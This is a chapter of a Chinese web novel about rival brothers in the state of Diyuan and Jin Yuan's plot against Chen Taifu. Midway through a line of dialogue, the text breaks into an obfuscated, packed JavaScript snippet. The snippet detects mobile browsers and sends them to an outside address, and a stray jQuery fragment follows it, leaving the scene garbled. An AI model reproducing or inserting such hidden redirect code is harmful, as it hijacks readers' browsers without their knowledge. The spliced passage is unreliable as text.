37.036 金沅计谋

作品:《惜君青云器

    经过数月的修葺,牢固的小掖,训练有素的军队让陈同甫大吃一惊,他原本以为陈台甫在此地会费力不讨好,果然自己还是小觑了他的手段。


    “二哥治军有方,小弟佩服。”


    “多亏了几位老将军极力配合,不然我也啃不下这块硬骨头。”


    自从大哥去世后,除了小妹家里的人都不怎么把他放在眼中,更不要说到前线来伸出援手,陈台甫见到三底的时候,虽然心有怀疑,但更多的是惊喜,且陈同甫长期卧病在床,肯不远千里来到边境,在他看来已是十分感人。


    现在他只当对方是在夸奖他。


    陈同甫往他身后站着的那几个风烛残年的老人一看,心道,陈台甫果然心机深沉,拿这些人来敷衍他,一定是有良将帅才藏匿在暗处。


    “父亲这次派你来,实在是出乎意料,”陈台甫笑笑:“我以为他得知真相后会雷霆大怒。”


    “瞧你说的,做了天大的错事,父子情也断不掉呀。”


    陈台甫知道这话是有意调笑他,但这人是自己的亲弟弟,他也只好一笑了之。


    “二哥这些年为砥原走南闯北鞠躬尽瘁,十几年前要不是你只身前往砥原,哪里会有砥原今日。”


    陈台甫不语,隐约感到对方话里有话。


    “金获好大的阵仗。”见陈台甫不语,陈同甫走到城墙上,往远处望去,只见金获大营占地极大,往来走动之人好似千千万万只蚂蚁。


    “是呀,最近金获似乎有大行动,我们绝不可掉以轻心。”


    “有二哥在,砥原定然安稳。”


    “父亲真的没有在增派援手吗?”陈台甫问道:“听说金获这次立下了军令状,虽然现在小掖的兵力和他相差不大,但我也不能保证这次还能胜。”


    “你知道的二哥,父亲年迈,头脑糊涂,砥原,危险的很呐……”


    陈台甫长叹一口气,陷入沉默。


    “二哥,何不自立为王?”


    冷不丁的一句话传来,陈台甫转头对上陈同甫的眼睛,赶紧示意他人退下。


    “你怎么说出这样的话!”


    “这些年你受的委屈还不够多吗?谁人不知大哥的死跟你没关系,而今你的孩子又替小弟去了煜都,本就羊入虎口,如今身份也彻底暴露了,你不担心吗?”


    “你说这些话是做什么,”陈台甫别过头:“这次是你来小掖的真实意图吗,三弟?”


    “如今金氏独大,想我砥原多年前也是可以与其分庭抗礼的,为什么会沦落到今天这个地步?”陈同甫情绪激动。


    “父亲,好一个称呼,可他哪里配得上这两个字。不提他对你、对我人的轻视羞辱,就凭他整日昏聩,就知道宠爱陈珩,荒废了政要,他也不坐在煜都王这个位置上。”


    陈元康四个儿子中,只有长子、幼子最受宠爱,长子品德样貌才能均是上乘,幼子为老来子,也备受宠爱,更重要的是,这两子为一母同胞,陈元康甚至将对长子的爱和愧疚都弥补到了幼子身上。


    陈台甫因母亲身份颇受轻视,陈同甫则是因为其母难产而亡备受冷落,在漫长煎熬的成长期间,二人经常报团取暖。


    不过在陈衡甫的引领下,趁台甫始终朝着正统价值的方向发展,陈同甫自怜自弃,早早地游戏世间。


    “我不会那样做,”良久后,陈台甫开口道:“有一天父亲会清醒过来的。”


    陈同甫冷笑一声,摇摇头,怒其不争:“什么时候了,二哥,你还觉得没醒过来的是别人。”


    几日下来,陈同甫见劝说无用,陈台甫根本没有跟自己合作的想法,他决定依照原计划执行,暗自修书给砥原最北端顺昌——其母娘家所在地,企图趁金获与陈台甫争斗之时,自己凭借顺昌之力,将小掖实际权力拿到手中。


    顺昌早有自立之念,在陈同甫这些年频繁示意后,在近两年终于和他达成了协议——顺昌帮助陈同甫拿下砥原,陈同甫坐上砥原王座后,承认顺昌独立。


    而这几天的书信却迟迟不到,陈同甫有些焦急。


    陈元康派人来小掖,传令陈同甫前往顺昌平定叛乱。


    有多大的概率顺昌会半路反悔?又是谁站在顺昌背后?是金氏还是康城那位?陈同甫这才意识到自己才是被摆弄的人。


    但不管如何,他现在都必须离开小掖,原本的计划毁于一旦。


    *


    收到金沅回信,金获知道此战必胜,虽然信中没有明说是何计谋,但足以使他安心。


    经过几天的准备后,接下来几天晚上,金获买来大量好酒好肉分到各个将士手中,大犒三军,鼓舞士气,箭在弦上,只待时机。


    金沅拿到前线来的信,一切都在按照他安排的方向走,但现在还不能开战,要有明显弱势的一方,才好减小损失。


    *


    陈同甫到顺昌的时候,当地的郡守在城门外大摆阵仗,迎接他的到来,一片和谐欢腾,和陈元康在信中所说的危急情况全然不同。


    “舅舅,这是怎么回事?”陈同甫下马,走到郡守身旁。


    “你是来平定叛乱的吧?”郡守身材肥胖,眼角堆着笑:“都是障眼法啦,骗骗陈元康罢了。”


    陈同甫不解。


    “而今的赋税徭役条目众多,顺昌在砥原最北边,平坦的耕地少,人口也不如其他两郡多,今年早春天气又太冷,今年庄稼不行啊,肯定是交不上去了。”


    “还没有减免吗?我记得过年的时候,陈元康说过要减免顺昌的赋税。”


    郡守叹气道:“层层盘剥,真的能减下来吗?”


    “早知这样,我就不在他面前遮遮掩掩了!”陈同甫道:“还费一番周折去劝说陈台甫,结果烂泥扶不上墙。”


    “嗯,如果他能加入的话,推翻陈元康的确容易多啦。”郡守道:“不过也没事,我们这次直接起义,其实也是得到了贵人的帮助。”


    “贵人?”


    “说出来你肯定觉得我们太草率,但转念想想,还是可行的。”


    “哦?”


    “前几日,我们收到了金沅的信件……”


    陈同甫心中一动,没想到那晚过后,金沅直接找上了顺昌,看来他比自己想象中要聪明。


    “但金氏怎么可信?”


    “敌人的敌人就是我们的朋友嘛,况且金氏,可比一个陈台甫有用得多。”


    这个行动很大胆,他未曾设想过,但并不代表着不可行。况且金沅何人,说起来也算是自己的妹夫,就算最后走向失控,也还能有一丝转圜的余地。


    陈同甫点点头,既然金沅抛出了橄榄枝,那自己就稳稳接住好了。


    “不过,他有个要求。”


    “什么?”


    “过几天后,你要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600135|154010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    给陈台甫写一封信,让他带着一路人马,到顺昌来帮你。”


    “这有何难,不过为什么要这样做呢?”


    “估计是给金获清扫障碍吧。”


    陈同甫不置可否,总觉得有些多此一举,不过能救二哥一命,虽然想不懂金沅为什么这么做,但做个人情也不错。


    *


    陈台甫捏着信陷入犹豫,前方是金获大军压境,开战在即,后方是前几天还劝说自己的弟弟,前去叛乱,结果被俘,生死一线。


    “大战就在眼前,主将怎么能够临阵脱逃?”


    王老将军在议事厅里走来走去,在他看来,这根本算不上什么难题。


    “老将军,我也不想走,我比谁都明白明天的重要。”陈台甫无力解释道。


    “这样,我替你去顺昌,在哪里都是打,我不在意!”


    陈台甫捏捏眉心,他记不清这是第几次重复这样的对话:“信上说,叛军不见我,一定会杀死三弟。”


    “你这个三弟怎么这么没本事,那天见面还蛮精神的嘛!”王老将军又急又气,全然不顾连带伤害。


    “你停停吧,我都要被你晃晕了,本来就一把年纪了。”坐着的几个老将纷纷道。


    正不知怎么办时,王祐做完巡视任务后走了进来。


    一坐着的老将灵光一闪,道:“我有办法了!”


    “什么办法?”众人道。


    “所谓‘兵不厌诈’,我们就诈诈城下那帮龟孙。”


    老将走到王祐身边,目光在王祐与陈台甫之间游走,众人立即会意。


    “虽然矮了点,但是站在远处也看不真切,只要祐儿穿上主将的盔甲,谁能一下就辨认得出呢?”


    “不行,这太危险了,王将军上次就已以身犯险,怎么能再把危险转移到他身上?”陈台甫严词拒绝。


    “将军这是不相信我?”王祐憨厚地笑起来:“论拳脚,我不一定就在将军之下哦。”


    “就是,”王老将军骄傲地拍拍王祐厚实的肩背:“我家的孩子,从小就习武,哪怕数九寒冬,也没落下过一天。”


    “不是小瞧王将军,”陈台甫走到他们身边,拍拍王祐的肩:“将军是我砥原为数不多智勇双全的英雄,我绝不愿意这么轻易地断送你的大好前程。”


    王祐害羞地笑起来。


    “那还能怎么办?”众人又陷入困局。


    “将军你大可前去营救亲人,”刚才一直沉默的冯老将军站起身来。


    “小掖能抗住之前那么多次,这次一定也能抗住。你带着我们把小掖防御工事都做好了,又收编了大量的士兵、锻造了数不尽的兵器,小掖已经不是你初见的小掖了。”


    “是啊,小掖活过来了,我这一把老骨头都感受到了。”


    “我们守了一辈子,难道这次还会拱手让人吗?”


    众人被冯老将军一番话点醒,的确,小掖已经今非昔比。


    这番话同样点醒了陈台甫,是呀,好像自己暂时离开一下小掖也不是什么大问题,几个老将军经验丰富,新提拔的年轻副将也是精锐中的精锐,又有什么可不放心的?


    这座城,本来就是他们的。


    一番挣扎后,陈台甫郑重道:“那我立马出发,小掖就归还到各位手中了。”


    “将军放心去吧,”众人道:“小掖,有我们替你守着。”